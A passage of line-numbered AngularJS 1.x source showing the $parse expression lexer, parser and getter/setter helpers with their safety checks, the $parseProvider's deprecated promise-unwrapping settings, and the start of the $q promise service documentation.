10392 var getter = getterFn(ident, this.options, this.text);
10393 token.fn = extend(function(self, locals) {
10394 return (getter(self, locals));
10395 }, {
10396 assign: function(self, value) {
10397 return setter(self, ident, value, parser.text, parser.options);
10398 }
10399 });
10400 }
10401
10402 this.tokens.push(token);
10403
10404 if (methodName) {
10405 this.tokens.push({
10406 index:lastDot,
10407 text: '.'
10408 });
10409 this.tokens.push({
10410 index: lastDot + 1,
10411 text: methodName
10412 });
10413 }
10414 },
10415
10416 readString: function(quote) {
10417 var start = this.index;
10418 this.index++;
10419 var string = '';
10420 var rawString = quote;
10421 var escape = false;
10422 while (this.index < this.text.length) {
10423 var ch = this.text.charAt(this.index);
10424 rawString += ch;
10425 if (escape) {
10426 if (ch === 'u') {
10427 var hex = this.text.substring(this.index + 1, this.index + 5);
10428 if (!hex.match(/[\da-f]{4}/i))
10429 this.throwError('Invalid unicode escape [\\u' + hex + ']');
10430 this.index += 4;
10431 string += String.fromCharCode(parseInt(hex, 16));
10432 } else {
10433 var rep = ESCAPE[ch];
10434 string = string + (rep || ch);
10435 }
10436 escape = false;
10437 } else if (ch === '\\') {
10438 escape = true;
10439 } else if (ch === quote) {
10440 this.index++;
10441 this.tokens.push({
10442 index: start,
10443 text: rawString,
10444 string: string,
10445 literal: true,
10446 constant: true,
10447 fn: function() { return string; }
10448 });
10449 return;
10450 } else {
10451 string += ch;
10452 }
10453 this.index++;
10454 }
10455 this.throwError('Unterminated quote', start);
10456 }
10457 };
10458
10459
10460 /**
10461 * @constructor
10462 */
10463 var Parser = function (lexer, $filter, options) {
10464 this.lexer = lexer;
10465 this.$filter = $filter;
10466 this.options = options;
10467 };
10468
10469 Parser.ZERO = extend(function () {
10470 return 0;
10471 }, {
10472 constant: true
10473 });
10474
10475 Parser.prototype = {
10476 constructor: Parser,
10477
10478 parse: function (text) {
10479 this.text = text;
10480
10481 this.tokens = this.lexer.lex(text);
10482
10483 var value = this.statements();
10484
10485 if (this.tokens.length !== 0) {
10486 this.throwError('is an unexpected token', this.tokens[0]);
10487 }
10488
10489 value.literal = !!value.literal;
10490 value.constant = !!value.constant;
10491
10492 return value;
10493 },
10494
10495 primary: function () {
10496 var primary;
10497 if (this.expect('(')) {
10498 primary = this.filterChain();
10499 this.consume(')');
10500 } else if (this.expect('[')) {
10501 primary = this.arrayDeclaration();
10502 } else if (this.expect('{')) {
10503 primary = this.object();
10504 } else {
10505 var token = this.expect();
10506 primary = token.fn;
10507 if (!primary) {
10508 this.throwError('not a primary expression', token);
10509 }
10510 primary.literal = !!token.literal;
10511 primary.constant = !!token.constant;
10512 }
10513
10514 var next, context;
10515 while ((next = this.expect('(', '[', '.'))) {
10516 if (next.text === '(') {
10517 primary = this.functionCall(primary, context);
10518 context = null;
10519 } else if (next.text === '[') {
10520 context = primary;
10521 primary = this.objectIndex(primary);
10522 } else if (next.text === '.') {
10523 context = primary;
10524 primary = this.fieldAccess(primary);
10525 } else {
10526 this.throwError('IMPOSSIBLE');
10527 }
10528 }
10529 return primary;
10530 },
10531
10532 throwError: function(msg, token) {
10533 throw $parseMinErr('syntax',
10534 'Syntax Error: Token \'{0}\' {1} at column {2} of the expression [{3}] starting at [{4}].',
10535 token.text, msg, (token.index + 1), this.text, this.text.substring(token.index));
10536 },
10537
10538 peekToken: function() {
10539 if (this.tokens.length === 0)
10540 throw $parseMinErr('ueoe', 'Unexpected end of expression: {0}', this.text);
10541 return this.tokens[0];
10542 },
10543
10544 peek: function(e1, e2, e3, e4) {
10545 if (this.tokens.length > 0) {
10546 var token = this.tokens[0];
10547 var t = token.text;
10548 if (t === e1 || t === e2 || t === e3 || t === e4 ||
10549 (!e1 && !e2 && !e3 && !e4)) {
10550 return token;
10551 }
10552 }
10553 return false;
10554 },
10555
10556 expect: function(e1, e2, e3, e4){
10557 var token = this.peek(e1, e2, e3, e4);
10558 if (token) {
10559 this.tokens.shift();
10560 return token;
10561 }
10562 return false;
10563 },
10564
10565 consume: function(e1){
10566 if (!this.expect(e1)) {
10567 this.throwError('is unexpected, expecting [' + e1 + ']', this.peek());
10568 }
10569 },
10570
10571 unaryFn: function(fn, right) {
10572 return extend(function(self, locals) {
10573 return fn(self, locals, right);
10574 }, {
10575 constant:right.constant
10576 });
10577 },
10578
10579 ternaryFn: function(left, middle, right){
10580 return extend(function(self, locals){
10581 return left(self, locals) ? middle(self, locals) : right(self, locals);
10582 }, {
10583 constant: left.constant && middle.constant && right.constant
10584 });
10585 },
10586
10587 binaryFn: function(left, fn, right) {
10588 return extend(function(self, locals) {
10589 return fn(self, locals, left, right);
10590 }, {
10591 constant:left.constant && right.constant
10592 });
10593 },
10594
10595 statements: function() {
10596 var statements = [];
10597 while (true) {
10598 if (this.tokens.length > 0 && !this.peek('}', ')', ';', ']'))
10599 statements.push(this.filterChain());
10600 if (!this.expect(';')) {
10601 // optimize for the common case where there is only one statement.
10602 // TODO(size): maybe we should not support multiple statements?
10603 return (statements.length === 1)
10604 ? statements[0]
10605 : function(self, locals) {
10606 var value;
10607 for (var i = 0; i < statements.length; i++) {
10608 var statement = statements[i];
10609 if (statement) {
10610 value = statement(self, locals);
10611 }
10612 }
10613 return value;
10614 };
10615 }
10616 }
10617 },
10618
10619 filterChain: function() {
10620 var left = this.expression();
10621 var token;
10622 while (true) {
10623 if ((token = this.expect('|'))) {
10624 left = this.binaryFn(left, token.fn, this.filter());
10625 } else {
10626 return left;
10627 }
10628 }
10629 },
10630
10631 filter: function() {
10632 var token = this.expect();
10633 var fn = this.$filter(token.text);
10634 var argsFn = [];
10635 while (true) {
10636 if ((token = this.expect(':'))) {
10637 argsFn.push(this.expression());
10638 } else {
10639 var fnInvoke = function(self, locals, input) {
10640 var args = [input];
10641 for (var i = 0; i < argsFn.length; i++) {
10642 args.push(argsFn[i](self, locals));
10643 }
10644 return fn.apply(self, args);
10645 };
10646 return function() {
10647 return fnInvoke;
10648 };
10649 }
10650 }
10651 },
10652
10653 expression: function() {
10654 return this.assignment();
10655 },
10656
10657 assignment: function() {
10658 var left = this.ternary();
10659 var right;
10660 var token;
10661 if ((token = this.expect('='))) {
10662 if (!left.assign) {
10663 this.throwError('implies assignment but [' +
10664 this.text.substring(0, token.index) + '] can not be assigned to', token);
10665 }
10666 right = this.ternary();
10667 return function(scope, locals) {
10668 return left.assign(scope, right(scope, locals), locals);
10669 };
10670 }
10671 return left;
10672 },
10673
10674 ternary: function() {
10675 var left = this.logicalOR();
10676 var middle;
10677 var token;
10678 if ((token = this.expect('?'))) {
10679 middle = this.assignment();
10680 if ((token = this.expect(':'))) {
10681 return this.ternaryFn(left, middle, this.assignment());
10682 } else {
10683 this.throwError('expected :', token);
10684 }
10685 } else {
10686 return left;
10687 }
10688 },
10689
10690 logicalOR: function() {
10691 var left = this.logicalAND();
10692 var token;
10693 while (true) {
10694 if ((token = this.expect('||'))) {
10695 left = this.binaryFn(left, token.fn, this.logicalAND());
10696 } else {
10697 return left;
10698 }
10699 }
10700 },
10701
10702 logicalAND: function() {
10703 var left = this.equality();
10704 var token;
10705 if ((token = this.expect('&&'))) {
10706 left = this.binaryFn(left, token.fn, this.logicalAND());
10707 }
10708 return left;
10709 },
10710
10711 equality: function() {
10712 var left = this.relational();
10713 var token;
10714 if ((token = this.expect('==','!=','===','!=='))) {
10715 left = this.binaryFn(left, token.fn, this.equality());
10716 }
10717 return left;
10718 },
10719
10720 relational: function() {
10721 var left = this.additive();
10722 var token;
10723 if ((token = this.expect('<', '>', '<=', '>='))) {
10724 left = this.binaryFn(left, token.fn, this.relational());
10725 }
10726 return left;
10727 },
10728
10729 additive: function() {
10730 var left = this.multiplicative();
10731 var token;
10732 while ((token = this.expect('+','-'))) {
10733 left = this.binaryFn(left, token.fn, this.multiplicative());
10734 }
10735 return left;
10736 },
10737
10738 multiplicative: function() {
10739 var left = this.unary();
10740 var token;
10741 while ((token = this.expect('*','/','%'))) {
10742 left = this.binaryFn(left, token.fn, this.unary());
10743 }
10744 return left;
10745 },
10746
10747 unary: function() {
10748 var token;
10749 if (this.expect('+')) {
10750 return this.primary();
10751 } else if ((token = this.expect('-'))) {
10752 return this.binaryFn(Parser.ZERO, token.fn, this.unary());
10753 } else if ((token = this.expect('!'))) {
10754 return this.unaryFn(token.fn, this.unary());
10755 } else {
10756 return this.primary();
10757 }
10758 },
10759
10760 fieldAccess: function(object) {
10761 var parser = this;
10762 var field = this.expect().text;
10763 var getter = getterFn(field, this.options, this.text);
10764
10765 return extend(function(scope, locals, self) {
10766 return getter(self || object(scope, locals));
10767 }, {
10768 assign: function(scope, value, locals) {
10769 var o = object(scope, locals);
10770 if (!o) object.assign(scope, o = {});
10771 return setter(o, field, value, parser.text, parser.options);
10772 }
10773 });
10774 },
10775
10776 objectIndex: function(obj) {
10777 var parser = this;
10778
10779 var indexFn = this.expression();
10780 this.consume(']');
10781
10782 return extend(function(self, locals) {
10783 var o = obj(self, locals),
10784 i = indexFn(self, locals),
10785 v, p;
10786
10787 ensureSafeMemberName(i, parser.text);
10788 if (!o) return undefined;
10789 v = ensureSafeObject(o[i], parser.text);
10790 if (v && v.then && parser.options.unwrapPromises) {
10791 p = v;
10792 if (!('$$v' in v)) {
10793 p.$$v = undefined;
10794 p.then(function(val) { p.$$v = val; });
10795 }
10796 v = v.$$v;
10797 }
10798 return v;
10799 }, {
10800 assign: function(self, value, locals) {
10801 var key = ensureSafeMemberName(indexFn(self, locals), parser.text);
10802 // prevent overwriting of Function.constructor which would break ensureSafeObject check
10803 var o = ensureSafeObject(obj(self, locals), parser.text);
10804 if (!o) obj.assign(self, o = {});
10805 return o[key] = value;
10806 }
10807 });
10808 },
10809
10810 functionCall: function(fn, contextGetter) {
10811 var argsFn = [];
10812 if (this.peekToken().text !== ')') {
10813 do {
10814 argsFn.push(this.expression());
10815 } while (this.expect(','));
10816 }
10817 this.consume(')');
10818
10819 var parser = this;
10820
10821 return function(scope, locals) {
10822 var args = [];
10823 var context = contextGetter ? contextGetter(scope, locals) : scope;
10824
10825 for (var i = 0; i < argsFn.length; i++) {
10826 args.push(argsFn[i](scope, locals));
10827 }
10828 var fnPtr = fn(scope, locals, context) || noop;
10829
10830 ensureSafeObject(context, parser.text);
10831 ensureSafeFunction(fnPtr, parser.text);
10832
10833 // IE stupidity! (IE doesn't have apply for some native functions)
10834 var v = fnPtr.apply
10835 ? fnPtr.apply(context, args)
10836 : fnPtr(args[0], args[1], args[2], args[3], args[4]);
10837
10838 return ensureSafeObject(v, parser.text);
10839 };
10840 },
10841
10842 // This is used with json array declaration
10843 arrayDeclaration: function () {
10844 var elementFns = [];
10845 var allConstant = true;
10846 if (this.peekToken().text !== ']') {
10847 do {
10848 if (this.peek(']')) {
10849 // Support trailing commas per ES5.1.
10850 break;
10851 }
10852 var elementFn = this.expression();
10853 elementFns.push(elementFn);
10854 if (!elementFn.constant) {
10855 allConstant = false;
10856 }
10857 } while (this.expect(','));
10858 }
10859 this.consume(']');
10860
10861 return extend(function(self, locals) {
10862 var array = [];
10863 for (var i = 0; i < elementFns.length; i++) {
10864 array.push(elementFns[i](self, locals));
10865 }
10866 return array;
10867 }, {
10868 literal: true,
10869 constant: allConstant
10870 });
10871 },
10872
10873 object: function () {
10874 var keyValues = [];
10875 var allConstant = true;
10876 if (this.peekToken().text !== '}') {
10877 do {
10878 if (this.peek('}')) {
10879 // Support trailing commas per ES5.1.
10880 break;
10881 }
10882 var token = this.expect(),
10883 key = token.string || token.text;
10884 this.consume(':');
10885 var value = this.expression();
10886 keyValues.push({key: key, value: value});
10887 if (!value.constant) {
10888 allConstant = false;
10889 }
10890 } while (this.expect(','));
10891 }
10892 this.consume('}');
10893
10894 return extend(function(self, locals) {
10895 var object = {};
10896 for (var i = 0; i < keyValues.length; i++) {
10897 var keyValue = keyValues[i];
10898 object[keyValue.key] = keyValue.value(self, locals);
10899 }
10900 return object;
10901 }, {
10902 literal: true,
10903 constant: allConstant
10904 });
10905 }
10906 };
10907
10908
10909 //////////////////////////////////////////////////
10910 // Parser helper functions
10911 //////////////////////////////////////////////////
10912
10913 function setter(obj, path, setValue, fullExp, options) {
10914 //needed?
10915 options = options || {};
10916
10917 var element = path.split('.'), key;
10918 for (var i = 0; element.length > 1; i++) {
10919 key = ensureSafeMemberName(element.shift(), fullExp);
10920 var propertyObj = obj[key];
10921 if (!propertyObj) {
10922 propertyObj = {};
10923 obj[key] = propertyObj;
10924 }
10925 obj = propertyObj;
10926 if (obj.then && options.unwrapPromises) {
10927 promiseWarning(fullExp);
10928 if (!("$$v" in obj)) {
10929 (function(promise) {
10930 promise.then(function(val) { promise.$$v = val; }); }
10931 )(obj);
10932 }
10933 if (obj.$$v === undefined) {
10934 obj.$$v = {};
10935 }
10936 obj = obj.$$v;
10937 }
10938 }
10939 key = ensureSafeMemberName(element.shift(), fullExp);
10940 ensureSafeObject(obj, fullExp);
10941 ensureSafeObject(obj[key], fullExp);
10942 obj[key] = setValue;
10943 return setValue;
10944 }
10945
10946 var getterFnCache = {};
10947
10948 /**
10949 * Implementation of the "Black Hole" variant from:
10950 * - http://jsperf.com/angularjs-parse-getter/4
10951 * - http://jsperf.com/path-evaluation-simplified/7
10952 */
10953 function cspSafeGetterFn(key0, key1, key2, key3, key4, fullExp, options) {
10954 ensureSafeMemberName(key0, fullExp);
10955 ensureSafeMemberName(key1, fullExp);
10956 ensureSafeMemberName(key2, fullExp);
10957 ensureSafeMemberName(key3, fullExp);
10958 ensureSafeMemberName(key4, fullExp);
10959
10960 return !options.unwrapPromises
10961 ? function cspSafeGetter(scope, locals) {
10962 var pathVal = (locals && locals.hasOwnProperty(key0)) ? locals : scope;
10963
10964 if (pathVal == null) return pathVal;
10965 pathVal = pathVal[key0];
10966
10967 if (!key1) return pathVal;
10968 if (pathVal == null) return undefined;
10969 pathVal = pathVal[key1];
10970
10971 if (!key2) return pathVal;
10972 if (pathVal == null) return undefined;
10973 pathVal = pathVal[key2];
10974
10975 if (!key3) return pathVal;
10976 if (pathVal == null) return undefined;
10977 pathVal = pathVal[key3];
10978
10979 if (!key4) return pathVal;
10980 if (pathVal == null) return undefined;
10981 pathVal = pathVal[key4];
10982
10983 return pathVal;
10984 }
10985 : function cspSafePromiseEnabledGetter(scope, locals) {
10986 var pathVal = (locals && locals.hasOwnProperty(key0)) ? locals : scope,
10987 promise;
10988
10989 if (pathVal == null) return pathVal;
10990
10991 pathVal = pathVal[key0];
10992 if (pathVal && pathVal.then) {
10993 promiseWarning(fullExp);
10994 if (!("$$v" in pathVal)) {
10995 promise = pathVal;
10996 promise.$$v = undefined;
10997 promise.then(function(val) { promise.$$v = val; });
10998 }
10999 pathVal = pathVal.$$v;
11000 }
11001
11002 if (!key1) return pathVal;
11003 if (pathVal == null) return undefined;
11004 pathVal = pathVal[key1];
11005 if (pathVal && pathVal.then) {
11006 promiseWarning(fullExp);
11007 if (!("$$v" in pathVal)) {
11008 promise = pathVal;
11009 promise.$$v = undefined;
11010 promise.then(function(val) { promise.$$v = val; });
11011 }
11012 pathVal = pathVal.$$v;
11013 }
11014
11015 if (!key2) return pathVal;
11016 if (pathVal == null) return undefined;
11017 pathVal = pathVal[key2];
11018 if (pathVal && pathVal.then) {
11019 promiseWarning(fullExp);
11020 if (!("$$v" in pathVal)) {
11021 promise = pathVal;
11022 promise.$$v = undefined;
11023 promise.then(function(val) { promise.$$v = val; });
11024 }
11025 pathVal = pathVal.$$v;
11026 }
11027
11028 if (!key3) return pathVal;
11029 if (pathVal == null) return undefined;
11030 pathVal = pathVal[key3];
11031 if (pathVal && pathVal.then) {
11032 promiseWarning(fullExp);
11033 if (!("$$v" in pathVal)) {
11034 promise = pathVal;
11035 promise.$$v = undefined;
11036 promise.then(function(val) { promise.$$v = val; });
11037 }
11038 pathVal = pathVal.$$v;
11039 }
11040
11041 if (!key4) return pathVal;
11042 if (pathVal == null) return undefined;
11043 pathVal = pathVal[key4];
11044 if (pathVal && pathVal.then) {
11045 promiseWarning(fullExp);
11046 if (!("$$v" in pathVal)) {
11047 promise = pathVal;
11048 promise.$$v = undefined;
11049 promise.then(function(val) { promise.$$v = val; });
11050 }
11051 pathVal = pathVal.$$v;
11052 }
11053 return pathVal;
11054 };
11055 }
11056
11057 function getterFn(path, options, fullExp) {
11058 // Check whether the cache has this getter already.
11059 // We can use hasOwnProperty directly on the cache because we ensure,
11060 // see below, that the cache never stores a path called 'hasOwnProperty'
11061 if (getterFnCache.hasOwnProperty(path)) {
11062 return getterFnCache[path];
11063 }
11064
11065 var pathKeys = path.split('.'),
11066 pathKeysLength = pathKeys.length,
11067 fn;
11068
11069 // http://jsperf.com/angularjs-parse-getter/6
11070 if (options.csp) {
11071 if (pathKeysLength < 6) {
11072 fn = cspSafeGetterFn(pathKeys[0], pathKeys[1], pathKeys[2], pathKeys[3], pathKeys[4], fullExp,
11073 options);
11074 } else {
11075 fn = function(scope, locals) {
11076 var i = 0, val;
11077 do {
11078 val = cspSafeGetterFn(pathKeys[i++], pathKeys[i++], pathKeys[i++], pathKeys[i++],
11079 pathKeys[i++], fullExp, options)(scope, locals);
11080
11081 locals = undefined; // clear after first iteration
11082 scope = val;
11083 } while (i < pathKeysLength);
11084 return val;
11085 };
11086 }
11087 } else {
11088 var code = 'var p;\n';
11089 forEach(pathKeys, function(key, index) {
11090 ensureSafeMemberName(key, fullExp);
11091 code += 'if(s == null) return undefined;\n' +
11092 's='+ (index
11093 // we simply dereference 's' on any .dot notation
11094 ? 's'
11095 // but if we are first then we check locals first, and if so read it first
11096 : '((k&&k.hasOwnProperty("' + key + '"))?k:s)') + '["' + key + '"]' + ';\n' +
11097 (options.unwrapPromises
11098 ? 'if (s && s.then) {\n' +
11099 ' pw("' + fullExp.replace(/(["\r\n])/g, '\\$1') + '");\n' +
11100 ' if (!("$$v" in s)) {\n' +
11101 ' p=s;\n' +
11102 ' p.$$v = undefined;\n' +
11103 ' p.then(function(v) {p.$$v=v;});\n' +
11104 '}\n' +
11105 ' s=s.$$v\n' +
11106 '}\n'
11107 : '');
11108 });
11109 code += 'return s;';
11110
11111 /* jshint -W054 */
11112 var evaledFnGetter = new Function('s', 'k', 'pw', code); // s=scope, k=locals, pw=promiseWarning
11113 /* jshint +W054 */
11114 evaledFnGetter.toString = valueFn(code);
11115 fn = options.unwrapPromises ? function(scope, locals) {
11116 return evaledFnGetter(scope, locals, promiseWarning);
11117 } : evaledFnGetter;
11118 }
11119
11120 // Only cache the value if it's not going to mess up the cache object
11121 // This is more performant that using Object.prototype.hasOwnProperty.call
11122 if (path !== 'hasOwnProperty') {
11123 getterFnCache[path] = fn;
11124 }
11125 return fn;
11126 }
11127
11128 ///////////////////////////////////
11129
11130 /**
11131 * @ngdoc service
11132 * @name $parse
11133 * @kind function
11134 *
11135 * @description
11136 *
11137 * Converts Angular {@link guide/expression expression} into a function.
11138 *
11139 * ```js
11140 * var getter = $parse('user.name');
11141 * var setter = getter.assign;
11142 * var context = {user:{name:'angular'}};
11143 * var locals = {user:{name:'local'}};
11144 *
11145 * expect(getter(context)).toEqual('angular');
11146 * setter(context, 'newValue');
11147 * expect(context.user.name).toEqual('newValue');
11148 * expect(getter(context, locals)).toEqual('local');
11149 * ```
11150 *
11151 *
11152 * @param {string} expression String expression to compile.
11153 * @returns {function(context, locals)} a function which represents the compiled expression:
11154 *
11155 * * `context` – `{object}` – an object against which any expressions embedded in the strings
11156 * are evaluated against (typically a scope object).
11157 * * `locals` – `{object=}` – local variables context object, useful for overriding values in
11158 * `context`.
11159 *
11160 * The returned function also has the following properties:
11161 * * `literal` – `{boolean}` – whether the expression's top-level node is a JavaScript
11162 * literal.
11163 * * `constant` – `{boolean}` – whether the expression is made entirely of JavaScript
11164 * constant literals.
11165 * * `assign` – `{?function(context, value)}` – if the expression is assignable, this will be
11166 * set to a function to change its value on the given context.
11167 *
11168 */
11169
11170
11171 /**
11172 * @ngdoc provider
11173 * @name $parseProvider
11174 * @kind function
11175 *
11176 * @description
11177 * `$parseProvider` can be used for configuring the default behavior of the {@link ng.$parse $parse}
11178 * service.
11179 */
11180 function $ParseProvider() {
11181 var cache = {};
11182
11183 var $parseOptions = {
11184 csp: false,
11185 unwrapPromises: false,
11186 logPromiseWarnings: true
11187 };
11188
11189
11190 /**
11191 * @deprecated Promise unwrapping via $parse is deprecated and will be removed in the future.
11192 *
11193 * @ngdoc method
11194 * @name $parseProvider#unwrapPromises
11195 * @description
11196 *
11197 * **This feature is deprecated, see deprecation notes below for more info**
11198 *
11199 * If set to true (default is false), $parse will unwrap promises automatically when a promise is
11200 * found at any part of the expression. In other words, if set to true, the expression will always
11201 * result in a non-promise value.
11202 *
11203 * While the promise is unresolved, it's treated as undefined, but once resolved and fulfilled,
11204 * the fulfillment value is used in place of the promise while evaluating the expression.
11205 *
11206 * **Deprecation notice**
11207 *
11208 * This is a feature that didn't prove to be wildly useful or popular, primarily because of the
11209 * dichotomy between data access in templates (accessed as raw values) and controller code
11210 * (accessed as promises).
11211 *
11212 * In most code we ended up resolving promises manually in controllers anyway and thus unifying
11213 * the model access there.
11214 *
11215 * Other downsides of automatic promise unwrapping:
11216 *
11217 * - when building components it's often desirable to receive the raw promises
11218 * - adds complexity and slows down expression evaluation
11219 * - makes expression code pre-generation unattractive due to the amount of code that needs to be
11220 * generated
11221 * - makes IDE auto-completion and tool support hard
11222 *
11223 * **Warning Logs**
11224 *
11225 * If the unwrapping is enabled, Angular will log a warning about each expression that unwraps a
11226 * promise (to reduce the noise, each expression is logged only once). To disable this logging use
11227 * `$parseProvider.logPromiseWarnings(false)` api.
11228 *
11229 *
11230 * @param {boolean=} value New value.
11231 * @returns {boolean|self} Returns the current setting when used as getter and self if used as
11232 * setter.
11233 */
11234 this.unwrapPromises = function(value) {
11235 if (isDefined(value)) {
11236 $parseOptions.unwrapPromises = !!value;
11237 return this;
11238 } else {
11239 return $parseOptions.unwrapPromises;
11240 }
11241 };
11242
11243
11244 /**
11245 * @deprecated Promise unwrapping via $parse is deprecated and will be removed in the future.
11246 *
11247 * @ngdoc method
11248 * @name $parseProvider#logPromiseWarnings
11249 * @description
11250 *
11251 * Controls whether Angular should log a warning on any encounter of a promise in an expression.
11252 *
11253 * The default is set to `true`.
11254 *
11255 * This setting applies only if `$parseProvider.unwrapPromises` setting is set to true as well.
11256 *
11257 * @param {boolean=} value New value.
11258 * @returns {boolean|self} Returns the current setting when used as getter and self if used as
11259 * setter.
11260 */
11261 this.logPromiseWarnings = function(value) {
11262 if (isDefined(value)) {
11263 $parseOptions.logPromiseWarnings = value;
11264 return this;
11265 } else {
11266 return $parseOptions.logPromiseWarnings;
11267 }
11268 };
11269
11270
11271 this.$get = ['$filter', '$sniffer', '$log', function($filter, $sniffer, $log) {
11272 $parseOptions.csp = $sniffer.csp;
11273
11274 promiseWarning = function promiseWarningFn(fullExp) {
11275 if (!$parseOptions.logPromiseWarnings || promiseWarningCache.hasOwnProperty(fullExp)) return;
11276 promiseWarningCache[fullExp] = true;
11277 $log.warn('[$parse] Promise found in the expression `' + fullExp + '`. ' +
11278 'Automatic unwrapping of promises in Angular expressions is deprecated.');
11279 };
11280
11281 return function(exp) {
11282 var parsedExpression;
11283
11284 switch (typeof exp) {
11285 case 'string':
11286
11287 if (cache.hasOwnProperty(exp)) {
11288 return cache[exp];
11289 }
11290
11291 var lexer = new Lexer($parseOptions);
11292 var parser = new Parser(lexer, $filter, $parseOptions);
11293 parsedExpression = parser.parse(exp);
11294
11295 if (exp !== 'hasOwnProperty') {
11296 // Only cache the value if it's not going to mess up the cache object
11297 // This is more performant that using Object.prototype.hasOwnProperty.call
11298 cache[exp] = parsedExpression;
11299 }
11300
11301 return parsedExpression;
11302
11303 case 'function':
11304 return exp;
11305
11306 default:
11307 return noop;
11308 }
11309 };
11310 }];
11311 }
11312
11313 /**
11314 * @ngdoc service
11315 * @name $q
11316 * @requires $rootScope
11317 *
11318 * @description
11319 * A promise/deferred implementation inspired by [Kris Kowal's Q](https://github.com/kriskowal/q).
11320 *
11321 * [The CommonJS Promise proposal](http://wiki.commonjs.org/wiki/Promises) describes a promise as an
11322 * interface for interacting with an object that represents the result of an action that is
11323 * performed asynchronously, and may or may not be finished at any given point in time.
11324 *
11325 * From the perspective of dealing with error handling, deferred and promise APIs are to
11326 * asynchronous programming what `try`, `catch` and `throw` keywords are to synchronous programming.
11327 *
11328 * ```js
11329 * // for the purpose of this example let's assume that variables `$q`, `scope` and `okToGreet`
11330 * // are available in the current lexical scope (they could have been injected or passed in).
11331 *
11332 * function asyncGreet(name) {
11333 * var deferred = $q.defer();
11334 *
11335 * setTimeout(function() {
11336 * deferred.notify('About to greet ' + name + '.');
11337 *
11338 * if (okToGreet(name)) {
11339 * deferred.resolve('Hello, ' + name + '!');
11340 * } else {
11341 * deferred.reject('Greeting ' + name + ' is not allowed.');
11342 * }
11343 * }, 1000);
11344 *
11345 * return deferred.promise;
11346 * }
11347 *
11348 * var promise = asyncGreet('Robin Hood');
11349 * promise.then(function(greeting) {
11350 * alert('Success: ' + greeting);
11351 * }, function(reason) {
11352 * alert('Failed: ' + reason);
11353 * }, function(update) {
11354 * alert('Got notification: ' + update);
11355 * });
11356 * ```
11357 *
11358 * At first it might not be obvious why this extra complexity is worth the trouble. The payoff
11359 * comes in the way of guarantees that promise and deferred APIs make, see
11360 * https://github.com/kriskowal/uncommonjs/blob/master/promises/specification.md.
11361 *
11362 * Additionally the promise api allows for composition that is very hard to do with the
11363 * traditional callback ([CPS](http://en.wikipedia.org/wiki/Continuation-passing_style)) approach.
11364 * For more on this please see the [Q documentation](https://github.com/kriskowal/q) especially the
11365 * section on serial or parallel joining of promises.
11366 *
11367 *
11368 * # The Deferred API
11369 *
11370 * A new instance of deferred is constructed by calling `$q.defer()`.
11371 *
11372 * The purpose of the deferred object is to expose the associated Promise instance as well as APIs
11373 * that can be used for signaling the successful or unsuccessful completion, as well as the status
11374 * of the task.
11375 *
11376 * **Methods**
11377 *
11378 * - `resolve(value)` – resolves the derived promise with the `value`. If the value is a rejection
11379 * constructed via `$q.reject`, the promise will be rejected instead.
11380 * - `reject(reason)` – rejects the derived promise with the `reason`. This is equivalent to
11381 * resolving it with a rejection constructed via `$q.reject`.
11382 * - `notify(value)` - provides updates on the status of the promise's execution. This may be called
11383 * multiple times before the promise is either resolved or rejected.
11384 *
11385 * **Properties**
11386 *
11387 * - promise – `{Promise}` – promise object associated with this deferred.
11388 *
11389 *
11390 * # The Promise API
11391 *
11392 * A new promise instance is created when a deferred instance is created and can be retrieved by
11393 * calling `deferred.promise`.
11394 *
11395 * The purpose of the promise object is to allow for interested parties to get access to the result
11396 * of the deferred task when it completes.
11397 *
11398 * **Methods**
11399 *
11400 * - `then(successCallback, errorCallback, notifyCallback)` – regardless of when the promise was or
11401 * will be resolved or rejected, `then` calls one of the success or error callbacks asynchronously
11402 * as soon as the result is available. The callbacks are called with a single argument: the result
11403 * or rejection reason. Additionally, the notify callback may be called zero or more times to
11404 * provide a progress indication, before the promise is resolved or rejected.
11405 *
11406 * This method *returns a new promise* which is resolved or rejected via the return value of the
11407 * `successCallback`, `errorCallback`. It also notifies via the return value of the
11408 * `notifyCallback` method. The promise can not be resolved or rejected from the notifyCallback
11409 * method.
11410 *
11411 * - `catch(errorCallback)` – shorthand for `promise.then(null, errorCallback)`
11412 *
11413 * - `finally(callback)` – allows you to observe either the fulfillment or rejection of a promise,
11414 * but to do so without modifying the final value. This is useful to release resources or do some
11415 * clean-up that needs to be done whether the promise was rejected or resolved. See the [full
11416 * specification](https://github.com/kriskowal/q/wiki/API-Reference#promisefinallycallback) for
11417 * more information.
11418 *
11419 * Because `finally` is a reserved word in JavaScript and reserved keywords are not supported as
11420 * property names by ES3, you'll need to invoke the method like `promise['finally'](callback)` to
11421 * make your code IE8 and Android 2.x compatible.
11422 *
11423 * # Chaining promises
11424 *
11425 * Because calling the `then` method of a promise returns a new derived promise, it is easily
11426 * possible to create a chain of promises:
11427 *
11428 * ```js
11429 * promiseB = promiseA.then(function(result) {
11430 * return result + 1;
11431 * });
11432 *
11433 * // promiseB will be resolved immediately after promiseA is resolved and its value
11434 * // will be the result of promiseA incremented by 1
11435 * ```
11436 *
11437 * It is possible to create chains of any length and since a promise can be resolved with another
11438 * promise (which will defer its resolution further), it is possible to pause/defer resolution of
11439 * the promises at any point in the chain. This makes it possible to implement powerful APIs like
11440 * $http's response interceptors.
11441 *
11442 *
11443 * # Differences between Kris Kowal's Q and $q
11444 *
11445 * There are two main differences:
11446 *
11447 * - $q is integrated with the {@link ng.$rootScope.Scope} Scope model observation
11448 * mechanism in angular, which means faster propagation of resolution or rejection into your
11449 * models and avoiding unnecessary browser repaints, which would result in flickering UI.
11450 * - Q has many more features than $q, but that comes at a cost of bytes. $q is tiny, but contains
11451 * all the important functionality needed for common async tasks.
11452 *
11453 * # Testing
11454 *
11455 * ```js
11456 * it('should simulate promise', inject(function($q, $rootScope) {
11457 * var deferred = $q.defer();
11458 * var promise = deferred.promise;
11459 * var resolvedValue;
11460 *
11461 * promise.then(function(value) { resolvedValue = value; });
11462 * expect(resolvedValue).toBeUndefined();
11463 *
11464 * // Simulate resolving of promise
11465 * deferred.resolve(123);
11466 * // Note that the 'then' function does not get called synchronously.
11467 * // This is because we want the promise API to always be async, whether or not
11468 * // it got called synchronously or asynchronously.
11469 * expect(resolvedValue).toBeUndefined();
11470 *
11471 * // Propagate promise resolution to 'then' functions using $apply().
11472 * $rootScope.$apply();
11473 * expect(resolvedValue).toEqual(123);
11474 * }));
11475 * ```
11476 */
11477 function $QProvider() {
11478
11479 this.$get = ['$rootScope', '$exceptionHandler', function($rootScope, $exceptionHandler) {
11480 return qFactory(function(callback) {
11481 $rootScope.$evalAsync(callback);
